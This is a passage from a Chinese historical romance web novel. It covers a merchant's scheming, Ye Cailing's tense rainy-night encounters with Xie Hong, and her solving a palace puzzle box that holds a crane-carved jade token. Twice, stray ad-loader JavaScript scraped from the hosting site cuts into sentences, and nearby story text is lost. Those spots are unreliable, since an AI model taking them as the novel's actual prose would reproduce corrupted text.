果然，梁喜坐立不安了一会。 先是劈头盖脸将定时来送烟丝的婢女骂了一顿，尚觉得不解气，又将滚烫的烟杆砸在桌角。 狠狠地咬了一下后槽牙。 他今天这一着，走的实在太差。 巡按组这里没讨得半分好，反而连带着让自己在金陵行会有些抬不起头。 他在江南有自己探听消息的路子，此前从上头探得的口风，已经十分危险。巡按组将此事件的定性，并非认定是普通的寻衅滋事。 官府放任酒行在辖区殴打百姓，若仔细算来，是官商勾结。 这是大忌。 清算起来，动荡的不止金陵官场，连带江南府都会有一批人不得安宁。 他梁喜要做的，便是尝试着要将这件事摆平。 只是，那程尚书寒凉的眼神尚在他眼前。 梁喜在头脑里反复盘算着现下最好的路，骨子里经商的匪气却逐渐压抑不住，涌了上来。 不过是一名京官。 在金陵，这巡按组的确是有最大的特权。京中下来查勘的巡按组么，谁来了都要给几份薄面。 但—— 梁喜眼底漫上狠意。 不过是吏部尚书。 京中六部各有尚书，朝堂之上还有内阁几位阁老，与各色皇家贵胄。 这样想着，却是霍然起身。 “备轿。” 若是软化不了，便只能想法子来硬的。 * 今日大雨。 叶采苓在卧房里抱着膝盖坐着，随意地翻着话本。 指尖掠过一页。 下雨的缘故，屋子里好像也漫上了湿气，纸页摸起来都带了微微的软。 如此，她便想起还有一批墨锭尚在铺子里。 降雨时分，有些墨锭需要防潮。 她想了想，却是不确定自己有没有嘱咐过店里的学徒姑娘。 下意识地启唇想唤静霜，却想起来静霜今日有些受寒，已经与她告了假。 叶采苓想了想，还是起身换了一身衣服，执上一柄油纸伞。 她在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这墨铺上倾注的心血属实不少，为了这批墨锭，还是去一趟罢。 小院与墨铺的距离并不算远。 她撑着伞小心翼翼地走着，防着绣鞋鞋面落上雨水。 雨声在耳边窸窸窣窣地响，就好像天地间只剩下她在缓步前行。 而此时，墨铺不远不近的位置，谢泓有些不可置信地抬手示意下属把伞撤开。 谢泓对于能见到她并不抱希望。 但近几日处理完公务之后，却总是习惯性地在这墨铺附近看上一两个时辰。就好像看着这铺子，也能想到她经商顺利之后欣悦的眉眼一样。 此刻看着她的身影行进墨铺，谢泓深吸一口气。 “主子，可要去么？” 见谢泓摆摆手，云白连忙将伞撑到谢泓头顶。 口里称道：“也是。叶姑娘可能是有什么误会，一切听您的吩咐。” 谢泓微微点头，目光依旧聚在叶采苓身上。 见她安安全全地拾级而上，走进墨铺，方收回目光。 过了一会，却听见有人唤他。 谢泓一抬头，见眼前少女着一身利落短衣，看衣着是墨铺的学徒。 学徒小苏是金陵人，是叶采苓开店以来方招进来的。 对于这两人的前尘往事自然完全不知晓。 方才叶掌柜唤她从外间取墨，她一抬头，正看到远处有一主一仆，立在那里，都凝望着墨铺的方向。 此时，小苏便热情道：“这位贵客，可是在等我们林掌柜？掌柜已经到了，且进来罢。” 谢泓一怔。 他并不知晓小苏这邀约的前因后果。 心口却又不受控制地跳动了起来。 她这是有些回转心意了么？ 明明心里觉得这事情有些不对，但脚步却不受控地拾级而上。 只要能见到她，就算是误会。 也是好的。 叶采苓惊讶地看着那一道走进墨铺的身影，深吸一口气，没有理会谢泓。却是苦笑了一声，看向学徒小苏。 “……日后不要什么人都往铺子里请啊，小苏。” 小苏不明就里，解释道：“我以为是来寻掌柜您的。” “无事，你继续准备给墨锭防潮的材料便好。” “我与这位……有些话要说。” 她并未对着小苏疾言厉色。 叶采苓心里知道这事，小苏也是无心的，因为来她墨铺的客人里，许多人与她私交都不错。 小苏想当然的以为又有客人来寻她，出门去邀请。 这样，却是把谢泓邀请了进来。 她长叹一口气，望着立在门口的那人，却破天荒地开了口。 “谢首辅，我如今与你再没有交集。” “你屡次来寻我，到底还有何事？” 望着眼前女子眉眼里掩饰不住的倦色，谢泓微闭了片刻双眼。 事情怎么会走到这一步？ 就好像从瑞鹤宴开始，一切就脱离了他的掌控，在未可知的道路上疾奔。 对了。 瑞鹤宴。 谢泓正想说，却觉得那前因后果有些难以开口。 尚在思量措辞，却见眼前的女子好像终于失去了全部的兴趣。 叶采苓轻轻地挥了挥手。 “其实你本不必寻我，你说什么，我也并不会太在意。” 她觉得自己一定要讲的直白一些，不然谢泓总觉得自己好像还有什么希望似的。 听到这句话，谢泓咬咬牙，终于破天荒地有了些怒色。 她总是这样。 自从重逢以来，便一直是淡淡的，仿佛他就像是一个局外人，从来没有走进过她在金陵的生活。 明明她也认下了时青卓，认下时家兄妹。却一直不愿意分他半分眼神。 谢泓勉强压抑住几乎要破笼而出的情绪，只勉力开口。 “……我想和你说清，那日瑞鹤宴并非我本意，我是被设计——” “谢首辅，有误会，都是再正常不过。” 叶采苓点点头，后退了一步。 “但，”她伸手轻轻点点自己的心口，语气轻的像白鸟掠过长空时，羽翼抖落的那阵轻微的窸窣风声。 “我这里难受。” “我想我知道你也有许多自己的难处……但我见到你，就会想起那些往事。” “所以，可否请君，不要再出现在此地。” 谢泓从叶采苓开始说这段话时，便立在那里没有再动。 他今日是办完公务直接来的，身上那一袭官袍尚未换下来。 此时立在那里，低垂着眉目，却无端让人觉得他身上在涌动着沉默暗色。 那暗涌的力量过于强大，他花了一些时间，方能强制让那纷乱汹涌的潮水褪去。 再抬头，眼底又好像无波无澜了。 他轻轻一笑，此刻向叶采苓走近。 那压迫感太强，叶采苓不得不向后一步步退去。 直到到了一个无法再退的位置，谢泓终于舍得停下脚步，低头描摹她的眉眼。 “若真如此，还请叶姑娘通融些许了。” 他从容地开口，替她将一缕鬓发捋到耳后，手指微凉，不经意碰到她温热的耳垂。 清冽气息轻轻擦过她耳畔，如同一声低低的喟叹。 “——我做不到。” 47. 夜雨 天色已墨蓝。 室内极暗，叶采苓竭力抑制住自己的心跳，缓缓向后退了几分。 她有些艰涩地扬起头来。 正要说什么。 谢泓却快她一步，先止住了她的话头。 “……我知晓我们之间或许有误会。” “但，你可不可以再予我些许时日。我会去彻查。” 男子目光沉沉，眸光里有浓的化不开的情绪。 那是他很少出现过的神情。 破天荒地带了些祈求，带了些难以言说的隐忍。他此刻明明依旧端方自持，却没来由的让人想起暮冬檐上的一捧雪。 雪色清寒，融在夜色里。 却迟迟……等不到冰消雪融的光景。 叶采苓忽地不知道说些什么了。 她启了唇又抿住，却低头看向自己绣鞋的鞋尖。 感官无端敏锐起来。 今日雨下得不算大，但却十分细密。 此刻外面还能听到檐外的雨声，窸窸窣窣，让人分不清是雨水，还是冬日冰凉的新雪。 她感觉脸上的温度在一点点褪下来。 而谢泓的眼神一直停留在她的身前，带着温和与耐心。 就像带着怜意，在等着受伤的小雀在风中飞足够的时日，之后便能找到自己的归途。 但见她沉默的时间有些过于长了。 院外传来轻轻的敲门声，还有侍女通传的声音。 “掌柜，时辰到了。” 谢泓眼见着刚刚她明明有一丝松动的迹象。 此刻抬头的时候，却又成为最开始的模样。她轻轻地将衣服捋平整，此刻抬眼看他。 “谢首辅，我稍后还有宴饮，若无事，我便先行辞去了。” 不知何时，外面的雨已经逐渐转缓。 院外的八角散花纱灯亮着朦胧的橙黄光芒，融在夜色里像一簇簇晚秋枝头小小的果子，带着温煦的暖意。 她淡淡一笑，向门口行去。 谢泓跟在她身后。 “你还在与我置气是不是？今日若你无宴饮，我想同你说——” 灯下她整个人被镀上一层软茸的光。 此刻叶采苓破天荒地，感觉眼里有一点酸涩。 她望着谢泓，轻轻地笑了，有些无奈地摇摇头。 “我并未在与你置气。” “但世间生灵皆是这样的，伤愈之后，最开始的痛楚就会消失。” 那一点水光在她眼底反复流转，最后只剩余一句叹息。 “但我做不到，谢首辅。我不是伤愈就会忘痛的人。” “你要与我说和，我又该如何知晓，这次我不会再受到伤害呢？” 谢泓有些执拗地跟在她身后。 “你信我——” 话语突兀地哽住。 不远不近的地方，是时府的马车。时青卓没有穿骑装，随意地扎了个高马尾，腰间松松地系了一条山石纹的提缎束带。 他正单腿屈膝在车辕边上坐着，有些百无聊赖地伸手拨弄马鬃。 方一抬头望向此地，却不偏不倚地与谢泓打了个照面。 谢泓在巡按组是替吏部程尚书的，对于不明就里的人，都唤一句程尚书。 而京中故人，一望便知道这是谢泓谢元辅。 “这不是元辅大人么？” 时青卓爽朗一笑，跳下马车，遥遥地一拱手。 并非在朝中，他只礼节性地行了同僚之间的礼数。而施礼后礼数已周全，他便又看向叶采苓。 “阿苓，可以走了么？” 时秋心在马车中撩开车帘，亦笑着向她招手。 叶采苓偏头看向谢泓。 她说今日有宴饮，并非是托词。如今时家兄妹已然来接她。 望着谢泓此刻的神情，叶采苓却微微一怔。 此前他所有的急切与惶急都像是在另一个人身上了。 在外人面前，他又是那个谢首辅。 少时便点探花，入翰林。 现下是大周朝最年轻的内阁元辅，纵横捭阖，惊采艳绝。 哪里有为人俯首的道理。 澄然光线穿透潮湿的雨雾，他此刻在夜色里，脸色显得有些过分的白。但脊背挺直，不肯再多言哪怕一句。 只克制地拱手行了一礼。 “此前多有冒犯。” 谢泓缓缓地走出，看着依旧是霁月光风的文士模样。 只有他知道，方才那一丝莫名的矜持，让他不愿意在他人面前暴露自己的软弱。此刻脚步平静，直到上了远处的车驾，方才缓缓地松开手。 那双手修长匀净，骨节分明。 是秉笔行文的手。 但此刻却因为过分用力的攥紧，掌心被指尖掐出一道红痕。 是他做错。 她如今已有自己的人生，望着并无差错。甚至要比过去在京中的时候，更多了些从容随性。 但他却始终无法捺熄心中那一点希冀。 若她能回头…… 他微微摇头，带着几分涩意。 ＊ 车驾之上叶采苓与时秋心挨着坐。 时青卓自告奋勇要驾车，已经到车厢外头去了。 “阿苓，你无事吧？” 时秋心看着她自从上车以来便兴致不高的样子，此刻有些担心地挽起她手臂，轻轻拍了拍她。 叶采苓摇摇头：“不妨事。” 却是不愿再提，只随意转了个话题。 “今日怎么搞得神神秘秘的？是不止我们三个参与宴饮，还有什么人么？” 时秋心知道此刻马车上只有他们三人，方才放心地向后背软榻一靠。 “金陵徐氏，你可知晓？” 她笑吟吟道。 “徐氏是金陵本地的望族，家里有不少好东西。我和他们家女儿徐嘉相交不久，徐娘子今日说是从家里翻出件好东西，邀我们来一起看看呢。” 叶采苓了然。 这就是望族常有的生活习惯，聚在一起鉴赏些奇物，借此由头多认识些人，也好交换些信息与资源。 时家并非发源金陵，是时氏兄妹家母回金陵，他们跟着来游玩几日的。 因此新认识些人，也不奇怪。 但这次，他们二人执意相邀，便能看出时家兄妹对她着实很好。 因为他们日后会回京城，叶采苓却是会一直留在金陵。 对她来说，多结交些本地势力，只有好处。 故这次一定要带上她。 “只是，”叶采苓有些忐忑：“我与徐家女儿并不相识，此番直接邀我同往，可妥当么？” “无妨，无妨。” 时青卓随性的声音从前面车驾已经遥遥传来了。 “你若见了徐嘉，便知晓了。她性子极爽利的。” 直到见到徐嘉，叶采苓便明白马车上，时家兄妹所说的话是何意思。 徐嘉并不是她想象中文气的闺阁少女。 她头发不长，只束成一髻，衣着很是利落随性。 袖口戴着皮质护腕，双眸顾盼，是神韵十足的丹凤眼。 此刻她正豪爽地拍着时秋心的肩头，招呼着。。 时秋心对她一笑。 “你不是新对文墨感兴趣么？喏，今日我带来的林掌柜，可正是专长此道。林掌柜可是云州出身，要说这天下墨，除了金陵，就属云州了。” 徐嘉点点头，欢迎过叶采苓，语气便有些苦恼。 “我娘也是云州人。嗳，实在是我娘要让我练这些劳什子玩意，要我说，这东西多了也都挑花眼了。” 她引着三人向内间走，落座后取了一个檀木箱来。 “喏，这是我娘给的。说是从她娘家拿来的，里头都是纸墨。咱们且一起挑了来。” 原来是请她来识墨的。 叶采苓一笑。 这便是她的强项，此刻等徐嘉启开箱子，便向内望去。 箱子的主人一看便是很细心的女子，墨锭与毛笔分列在两侧，依着尺寸摆放齐整。中间卷着软毡防止磕碰。 徐家果然有底蕴，单她此刻见到的墨，就有许多款识看着是极其珍稀的。但听徐嘉娘子所言，这都是些不太常用的墨锭。 “那林彩便恭敬不如从命了。” “我看看——”时秋心也凑过来。 她在这里与时秋心专心致志地看墨，那边徐嘉和时青卓却凑在一处开始嘀咕。 “我这还有个宝匣，和墨锭一起寻到的。就是颇考验心力，有些难打开。”徐嘉道。 “小瞧我？拿来！”时青卓一拍大腿。 两人凑在一处摆弄了许久，大眼瞪小眼。 “……你可有头绪？” “……完全没有。” “咳，这类东西，在我家都是家妹出面的，我并不屑于弄这些。”时青卓忽地扬声道。 徐嘉扑哧笑一声，也不打算拆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 穿。 “时姑娘，林掌柜。这里还有一物，你们可有兴趣来看看？” “这是何物？” 时秋心接过那严丝合缝的木匣，上下颠倒着看了一番。 说是木匣，更像是一道棋盘，入手便感受到分量十足。 上面六颗玲珑棋子，恰到好处地镶嵌在棋路之中。 烛火映在棋子上，反射出细腻宝光。 细看，这些棋子每颗都由白玉雕成，表面镂着长短不一的线条。 “这棋子只能按规定的路径行进，是么？”时秋心摆弄了一番，察觉了些许端倪。 “路径是设定好的，有些路径唯有特定棋子可行。大抵最后的目的，是让所有棋子走到对应的位置。” 她思索着。 “只是，怎么知晓何棋应该走到何种位置呢？” 而叶采苓在一旁已经望着这木匣出神了许久。 在场的人都对这木匣好奇不已。 无论是像徐嘉那样仔细观察材质细节，还是像时秋心那样推敲开启方法。 ——导向的情形都是相同的。 他们此前并未看过这样的物件。 徐嘉还在闲聊着。 “打不开就对喽，我娘说是这是宫里的物件，咱们这些没进过紫禁城的，怕不是只能看着了。” “你问我娘怎么知晓？她之前请匠人来看过很多次的，但都说这盒子太精巧，若是硬拆，怕会损坏。” 徐嘉摇摇头：“我娘她一直想拆这盒子很多年了。也是近些年才放弃的，结果我寻墨时找到了，她便让我拿着看看。” “反正也解不开……” 她嘟囔着。 却忽地听到旁边那位今日新认识的女子，口中喃喃低语了一句。 “……六爻。” 叶采苓道，手指轻轻触碰，感受到棋子表面那些凹凸不平的纹路。 每一颗棋子的触感，都好像在她脑海里逐渐寻找到对应的位置。 有一道温柔的声音穿过斑驳的时光，在无数细微的呢喃里变得逐渐清晰起来。 “筠儿，你要记住。” “就算所有事情都忘记，这棋局的解法，你也要记住。” “你要听你娘的话。” 女子的手穿过她发间，在她额顶轻轻落下一吻，带着爱怜与忧愁。 “……记住了么？” 记住了么。 烛火摇曳，叶采苓尚未完全反应过来，却已经抬手按住了一颗棋子。 她缓缓地沿着凹槽滑动那棋子，过了片刻又再按住另一颗。 在她指间，原本滞涩的棋路，却看着行云流水一般。 其余三人带着些惊讶看着她的动作。 “这解棋不用思考么？只要一步步下就可以了？”时青卓挠挠头。 时秋心屏住呼吸，拍了一下自家兄长举在空中的手。 “你有没有听到方才阿苓说，六爻。这是爻棋。” “我此前只听家塾的先生说过……这爻棋，一棋一谱，唯有知晓棋谱的人才能解开此棋。” “虽然不知道为什么，但阿苓，她显然懂这棋谱。” 在众人热切的眼神里，叶采苓依旧有条不紊地移动着棋子。 六颗棋，对应六种卦名。 但过程中的进退，的确复杂的让人捉摸不透。 没有关系。 每当手指停顿的时候，头脑里却又有新的指引，就像有人一直快她半步，在她前面引着她前行。 女子声音温柔，低声唤着她的名字。 筠儿。 自己是筠儿么？ 那你又是谁呢。 一边解着棋局，她一边神游着。 而在她尚未注意到的时候，棋盘发出了一声隐秘的振动。 随后从中央凹槽处分出一条线来，向两方缓缓展开。 里面是一块白玉牌。 ——流光莹润，雕着一双长足鹤鸟。 “这玉牌……” 叶采苓想说这玉牌怎么与自己儿时在云州那块如此相似。 冷不防已经被人一把从坐榻上拉起。 徐嘉语气中透露着明晃晃的惊讶与兴奋，感觉自己正在破天荒地解开一桩巨大的密辛。 她与时秋心对视一眼。 时秋心也已经反应过来，语气急促，同样充满兴奋。 “这是宫里的东西！” “走，我们去寻徐夫人。”